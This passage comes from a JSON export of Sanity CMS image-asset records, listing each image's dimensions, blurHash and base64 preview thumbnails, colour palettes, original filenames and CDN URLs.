777c96bf21fb8d678cbb9fb5-1080x608.gif"} {"_createdAt":"2022-06-15T20:02:24Z","_id":"image-998de53afc141e1187e7ad4074ea65fc753f801a-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO89tZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:52Z","assetId":"998de53afc141e1187e7ad4074ea65fc753f801a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSO|99%$~WNGaK%%NHRkRiaz?cM^D*%Mt5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADPElEQVQokSXG708bdRzA8fuHeOATY7I9X6aJPjBK3BOXqBuNP8Km6GJZ2BaNLRL6gxYR5NfY2ODKBg3CRgXc+NEy2tIW2u5+tb1er3e9+95drz1LYsbnYzYfvPN6U6KkXWf52jTLS0u8INOcIEc4vhZhOen/eClSFhsRpWFHVK0ZkRWTrqv2vEba0w3dmRQVZ7aqOgsNrT1LZGOAYtjqZDpTZFPpvJnOFPXUUYG8Lp0pvjGZzpNCkSeKJBD+ZI9s/7VODpMZra6YqqJ3lJLsqFWlRXTFLJusGKVESVvkS7LBCTXkBRlf++ZLMvJCDVlewkpJQKkQw61HXhwZ+hFX6EkU2TjKcgV5kWBVtpDUtbadZ3cojTgPNeJoDdJGTW+faQ0bNKUJclWDSkkGqaJCMXsES7MeuHm9G/p6P4Op4NeQ3eiFam4USsyzs7pYQEvmrRZb3KJ0rU3rxNF14x/UiQNEbaIu6cjlGEztvcBCKof0vfvY/eH78M7bb2H3xx/BwPeXIDp2HvjtD0DODoDJ/4EdacXq1BIxipTVqK7Zhk5aSPQmmApBvVzD1PN9XH+0jDtPNtDn8eL5c+ewq6sLL158F3u++AR/91zAo7X3UE59CUb+JlpFT7PJTW1R1gm/YSi6ZRITTY1AU21AneVglabBPzgI0+PjEBweBldPD1y+/Cm4XC7o++4aBIb6IBb9CY4Tv0F2dwQTT261mJ3+BGUX2DWrXjcsTcVmo37WUmVgMykI+Ybh6pUrcOOHG+Dz+SAQDII/EICRUAjC4VEIj43DzL15WFpaPHswN4H0zJBd+DuwR7W44mOzxJh6hUWrJqAtC5hNPEP/r7/gV66r+G3vN/jznVs4PhbG6OMIxtZXcTW6jHfnHmJ4dAJDfj9Ojvhwk562jZPYJuUwRyEjn0zXC2nRKOe5lvSS4VI7zJ+Ld5n7E0FmfiLI0DOjzObKA6ZwsM1UjuN8Mfm8vL/1tBxbWSg/XZgq7S/PiVJiLfuqcjBHdSrHl1pCdsAq5bytav7OqVzsb4s5t8kdug3mwG0wcbfJ7LtbfMJ9Wjns/1dM3u6Ukx6LO/TabNzrsLveU3Z38FUpfhuqLz7/Dz8fuQdV8EhkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433e3b","foreground":"#fff","population":2.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e6606","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c91b","foreground":"#000","population":4.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9bdc2","foreground":"#000","population":1.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e0c0","foreground":"#000","population":1.71,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e555f","foreground":"#fff","population":0.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c91b","foreground":"#000","population":4.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"998de53afc141e1187e7ad4074ea65fc753f801a-1567x844.png","path":"images/sczeoy4w/production/998de53afc141e1187e7ad4074ea65fc753f801a-1567x844.png","sha1hash":"998de53afc141e1187e7ad4074ea65fc753f801a","size":466282,"uploadId":"k9LlbO5GdU8Z3PSYugP2Qj1pz5iVqTtc","url":"https://cdn.sanity.io/images/sczeoy4w/production/998de53afc141e1187e7ad4074ea65fc753f801a-1567x844.png"} {"_createdAt":"2022-06-14T14:41:07Z","_id":"image-998fef21ab4315cedf2858c142a9220016a8332f-512x512-png","_rev":"0HOthdQkSgJdYc0C9r2h1W","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:07Z","assetId":"998fef21ab4315cedf2858c142a9220016a8332f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKIN,7?aBz%1^O?[xuxtt8D%t.WBa5Nwe-tKR%$fxuS1SjkBM|bcog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAABJ0AAASdAHeZh94AAAExklEQVQ4jQXB21eSBwAA8O+hp20PnXVWp06n5tSWzSukq0AQEEXxQiGpKCoiyjXuNxVIQEC5COInASaIchMVPohLalqioTXnTq3nbefsZQ972V+w3w84/71Y+JjbO4rtH0UTmYVIXLsD2VJpZy7v3TsIQdnlrexKCApGU5Hc8e7+x+OdvZTFMS2UEtlSBPDuQ+rgNHF4lnr3IZM7WEu9cqUg53bcurO5CMXAeFAfC+kjW654Jpx8m946SAZTAbtboVITBXIEkMzZs2/9u+9j+eNIcvcFlHZtrutWbAJQw3ZI6E4J1fecHlpWpaDA66N0/PWab9Po9LFMlnaNrhGIxqYyedd+Ifi6sJ7c821D3pBbFzaKIhqeV0CzjpIMQ+0WLiVgVaWTgdTuWmDbAPoZjuV2k60J2Hgpze7MvC8Ezs6z+cPtUBAMWdRHoP7TqvUXjzkzKzePkATERyoqwW2Sb0P+jTTo8vNNju5JEwaIeMczccVZwX9+loK2QKuaC0rob+2qTz7zF7/9wmcNqziSTiQLD1MzSJ5ltTdiMCwxudOEXkEDsOWn5yDdaTFx9j4RW5meZLTJezBuFgVSc9JaAaQRxFRsI7WVh68Vkh7app96V0enHR0kERw2XArE/dxMYq5wki2e7oc8OgEFNYGDzfa2bSrYaY0oLmcnVBwXvUtGqJt6XA/KiavuHoUd0SwqvTd6Ewh5xTsb2mw+lH+TdFmV9Laf5R3oyLPRwpz6V5f5wjF7saDb4FAV+Bp1Vw3IxS4aWljaymbh9Qfca4B7kRv0CiKh536/Qi3u7EVVKIioCGcwK2UVtIpzs/o3izr+jKbEV4txZXNUuEWCZMorCYJrWM43gNNGXl3qja70rTkIKkZtz4PbbGzNYn9reIS8J+aeGORHs6J1LkXZUiXGlhrI1ebxBrbgHoH7bSP9EhBYfLT5Ap0NNCeX0PqxWiriNg1RburDpaVjF7aZL17z4bzYRW8TNt2Rt5Qbn8KMQ3Apr6KHd6Vp6BJgM9wLWGtTnsa4Da0bqXpafx1/9yq3FR5TjJw6NcUlTWKGZerHjD+4JUJ/b6HWgyzUogwhU5b1cL4CZJJKhw6eBDFhA0bxuAL3w+Xq774mwUtMNNyamBqdYkSmx+ZHCIOwmwNVV/Tk6nUpIawnzuvuT8iuAUsmVBjEvwmQNjT4MfQd+PWr92/dGG6qNNIwHj45pp14ZZX4JP30R+Xddy7LWsoCYnzM0r0w/5A3WQK8etm9t96fcTPMTDyhshR2u4KKwSxweoLKwS3dxL5rsug3QXPCyScPB+E3OKgSOx0VnH1itWP52h+BpHc4ZOXM8QU0XHv1zbK6W3Wy3qGcXXPsmSmuGD5HnZ833QmjUvUYPYooYSDvTj3BuVXMBTNfo6cBQTtbwxPSSMIWBLWqBHm/BC3vYxVXwD/T/r9Sq39AgUPQNdPPpMDqO6vKSHAYk0AyskUW6bxJ4gCsqvFRCquLwG9rYiKryI1VZBGFf+J98e9+/J989OSlxzCh6m6gIMsbGyuQGBiR1ErnDMikAzoxxQhIWUP9HeMDRNkg9hmhhtpcRxVRJMdu73+Hyb+zm77n5k78cM1P7bCfOjANg21YXluHtJus6utS0lpk/wNFMDjZrV4TdgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a345b","foreground":"#fff","population":2.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#356312","foreground":"#fff","population":2.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ad8763","foreground":"#fff","population":6.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc5ad","foreground":"#000","population":1.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd479","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad8763","foreground":"#fff","population":6.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9b73d","foreground":"#000","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"lorna.png","path":"images/sczeoy4w/production/998fef21ab4315cedf2858c142a9220016a8332f-512x512.png","sha1hash":"998fef21ab4315cedf2858c142a9220016a8332f","size":641278,"uploadId":"jKh2mODpATIqrJYkvmWVyUptTzvf7AY9","url":"https://cdn.sanity.io/images/sczeoy4w/production/998fef21ab4315cedf2858c142a9220016a8332f-512x512.png"} {"_createdAt":"2023-10-18T14:55:45Z","_id":"image-99a9e54b3b8bb194ac888202cbc09832d1458a45-1824x1026-jpg","_rev":"zE08g5Yj02ino50zLceIci","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T14:55:45Z","assetId":"99a9e54b3b8bb194ac888202cbc09832d1458a45","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1026,"width":1824},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAKBAAAAUEAAQHAQAAAAAAAAAAAQIDBAUABhESBxQxQRMhIjNCUXGR/8QAFgEBAQEAAAAAAAAAAAAAAAAABAID/8QAGhEAAgMBAQAAAAAAAAAAAAAAAQIAAxESMf/aAAwDAQACEQMRAD8AabdvBm0vIsQb21C679tv2s28OJ76Mm1OUbFVjkynAAD5iHf+1et+OZin4wtkhV2N6xL50tXizbpxhykSKUByA4+qM3KvuRNJbjFPkjheNTMGWLja8u/2HJSdBL2GiuUT8e1WkRMqiUxtChnI9MUVVd4ZQSJvYbEYqD5P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3e48","foreground":"#fff","population":4.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#744432","foreground":"#fff","population":5.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a2826c","foreground":"#fff","population":6.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec7cf","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc47c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2826c","foreground":"#fff","population":6.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b36533","foreground":"#fff","population":2.95,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"group-4-people-programmer-discussion.jpg","path":"images/sczeoy4w/production/99a9e54b3b8bb194ac888202cbc09832d1458a45-1824x1026.jpg","sha1hash":"99a9e54b3b8bb194ac888202cbc09832d1458a45","size":147505,"uploadId":"diyY8bFigXiKB5SYMbDmRAwWg1Hq85Zh","url":"https://cdn.sanity.io/images/sczeoy4w/production/99a9e54b3b8bb194ac888202cbc09832d1458a45-1824x1026.jpg"} {"_createdAt":"2023-02-03T13:11:13Z","_id":"image-99aab6868ad87de19ab117c1def6e3bd4968b062-1440x260-jpg","_rev":"iop8tFFqgfe67JrEbEE4eZ","_type":"sanity.imageAsset","_updatedAt":"2023-02-03T13:11:13Z","assetId":"99aab6868ad87de19ab117c1def6e3bd4968b062","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"42Sija~XQ+~qRh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.538461538461538,"height":260,"width":1440},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEI/8QAFhABAQEAAAAAAAAAAAAAAAAAAAER/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDUEmKBCAJL/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#90084c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d0742","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c8d0","foreground":"#000","population":0.57,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e7c8d0","foreground":"#000","population":0.57,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccce4","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#90084c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f00e7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-pattern-2-light.jpg","path":"images/sczeoy4w/production/99aab6868ad87de19ab117c1def6e3bd4968b062-1440x260.jpg","sha1hash":"99aab6868ad87de19ab117c1def6e3bd4968b062","size":30970,"uploadId":"bb6Z3XjZFwcc1NyKmaKBQgbiPsVp9GfL","url":"https://cdn.sanity.io/images/sczeoy4w/production/99aab6868ad87de19ab117c1def6e3bd4968b062-1440x260.jpg"} {"_createdAt":"2022-06-17T08:37:23Z","_id":"image-99b6e93e64352f48e1e5aeaa7666319dec6181aa-512x512-png","_rev":"oamrAPLmQLQjd9jh7ZwCf4","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:23Z","assetId":"99b6e93e64352f48e1e5aeaa7666319dec6181aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ecKT=2aKTfIp^k_NWVxa%2IU9akCI9t74oofWBIAV@Rjt7t7IUWCW=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#553e38","foreground":"#fff","population":9.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c0c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c5a3","foreground":"#000","population":10.24,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ba9b8a","foreground":"#000","population":1.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c5a3","foreground":"#000","population":10.24,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07c60","foreground":"#fff","population":1.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a76844","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Soumya_2.jpg.png","path":"images/sczeoy4w/production/99b6e93e64352f48e1e5aeaa7666319dec6181aa-512x512.png","sha1hash":"99b6e93e64352f48e1e5aeaa7666319dec6181aa","size":287167,"uploadId":"BEpVdemJ5DAtH0U6oxhkrlc3eSXPpqOY","url":"https://cdn.sanity.io/images/sczeoy4w/production/99b6e93e64352f48e1e5aeaa7666319dec6181aa-512x512.png"} {"_createdAt":"2024-06-10T15:22:57Z","_id":"image-99d51708eadc6c00c30a432321fbaa7b637f931b-2602x1218-png","_rev":"06CnkCNLb8AnjQwiBLGswt","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:57Z","assetId":"99d51708eadc6c00c30a432321fbaa7b637f931b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCQcr700Di^+-p_3x[xuRjWBWCRjRj%M~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.136288998357964,"height":1218,"width":2602},"exif":{"PixelXDimension":2602,"PixelYDimension":1218,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB90lEQVQokU2S208TQRjF93818d3E4IsxyAtqScSEoCClCAawrWg1gWg0UrmoXMRVCPhEUUJve5ud2Rvb9md2KoSHk2+SL/nNOWfGSM67qCDk7O8pB+Y+61vbbJg/OK7XUVFCknaJkw5ChjiexFcRLUdwfFrnT72lz7ZQfXkSQyrJvrnDSuk5lfl5ZotF7s9NM1kp8/33ETKMOU+7CF9h2Z4GOkJx1rJp2h6uH+DJ8FLGwa9tXi48pjw7ztbnKjumyYsP7xgqPGGsvMBhrUZy3sHPgJaLVKGGZm4ymAwifalWEGOUnuVZLIzxc+8bUiriJKXtebxZrzKYH6eytoonA6QMsWwXX4U6ftsR2qkfRFpCZQ4DjNztB7xeWKLVbNMF0k6Pbg8OT2rk5mfIv31Fw7YJwxjHEfgyxBWSesumpSMrLcuTuk/j7s0cxZkKzYZN7wrw6OSEEQ1comE72rnwA1QQaUCj7dC0XB3dEVJPy/Ux8qNzFEbymBu7SD8gSlK9WF7bZGhqUkcWKiBNe0Rx2gfL4ArQ18ALGeaXPUqjUxQfPuXjyirVr3uUlj9xb2KW8cUyh8c1/XU6nZ52n7141lX9Auj6feh/p4b0JLvvq0zcyTFwY5Drt4a5NjDM0KNpNnf3UWFMp9uvIpsXwMxh1mGWxnLFZfR/83OFvkY6EaQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b534f","foreground":"#fff","population":6.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e4417","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b534f","foreground":"#fff","population":6.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac8ce4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f7080","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d6cbd","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"llm-problem.png","path":"images/sczeoy4w/production/99d51708eadc6c00c30a432321fbaa7b637f931b-2602x1218.png","sha1hash":"99d51708eadc6c00c30a432321fbaa7b637f931b","size":548155,"uploadId":"l9GY2g4X3eEQj1ch24ojOatUuHyudKey","url":"https://cdn.sanity.io/images/sczeoy4w/production/99d51708eadc6c00c30a432321fbaa7b637f931b-2602x1218.png"} {"_createdAt":"2023-09-07T07:01:25Z","_id":"image-99e8a274ec46b3c94812ba8447ac2be04bd5a4e0-900x900-webp","_rev":"jBJgpqpGruZvOgVMUC4psY","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T07:01:25Z","assetId":"99e8a274ec46b3c94812ba8447ac2be04bd5a4e0","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDEx^a~BRP.8xuE0b]R.RiRk9YRiW,D%M|w0-Bs:o#s.%LE2Rj%2R+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":900,"width":900},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYDBQf/xAAnEAACAgIBAgQHAAAAAAAAAAABAgMEABEFEiEGFDJBEyIjMVFhgf/EABcBAAMBAAAAAAAAAAAAAAAAAAIDBAH/xAAcEQADAAIDAQAAAAAAAAAAAAAAAQIREgMhMVH/2gAMAwEAAhEDEQA/AJwU4alWjUgnNNkQh3jXez7byf57jvEy1/MQW57NIv0fFRtd/wAZb+MVRrBqVHWdmP0yDsxn969szq8h5Hwhbo7DWFYPICdjv23kszl9IpuKhZo8mj4vnpQWNO1J39XV98ZW1Zr8sZaC86J1H5RjC2Rimfp1eHna207SBQYvT0jX9OddKVd6c6tGD1sAx9zjGDweMCm21k0biqkSxrEhVSoOgcYxiaS2Yp+n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b3b32","foreground":"#fff","population":7.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#246c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4b3b32","foreground":"#fff","population":7.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4a2","foreground":"#000","population":6.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ede2c6","foreground":"#000","population":0.98,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99866e","foreground":"#fff","population":7.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c34467","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"franchise-bei-blume-2000.webp","path":"images/sczeoy4w/production/99e8a274ec46b3c94812ba8447ac2be04bd5a4e0-900x900.webp","sha1hash":"99e8a274ec46b3c94812ba8447ac2be04bd5a4e0","size":223634,"uploadId":"D9rQZFfntA7sWaPfrOZcCooOenMc3VUP","url":"https://cdn.sanity.io/images/sczeoy4w/production/99e8a274ec46b3c94812ba8447ac2be04bd5a4e0-900x900.webp"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-99f4280f0a657e4c755c7381c4dc0a10df0eaa5f-800x355-png","_rev":"CK1sLU2mnwa3vmbYWEb3Tr","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:19Z","assetId":"99f4280f0a657e4c755c7381c4dc0a10df0eaa5f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04LUbxaWBogt7t7ofRjj[og%MayRjbFt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2535211267605635,"height":355,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAArElEQVQokYWRgQqEMAxD/ZW1STtEufv/rzvaypwKHoRRu7zGbQvZRaw1qFCEqrWa+7ptn33/rutGdoWpmqSnNZSW2MiuCgk36wgfASc7rSfpBWs4jxEivMCAkV7hopF/BCY2dMKAz8NKOpGzW59wtDI5jl1YpEV9m6vKnHiFkyEePzbX51lusMKQ+gNnp2yiARvgcbe5lsbdjHouwHgI0BfyZF4U7vFJp3Wz/gPIb0xPaJchjAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a3a42","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#888789","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55434c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4b4bc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#888789","foreground":"#fff","population":0.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e707f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"99f4280f0a657e4c755c7381c4dc0a10df0eaa5f-800x355.png","path":"images/sczeoy4w/production/99f4280f0a657e4c755c7381c4dc0a10df0eaa5f-800x355.png","sha1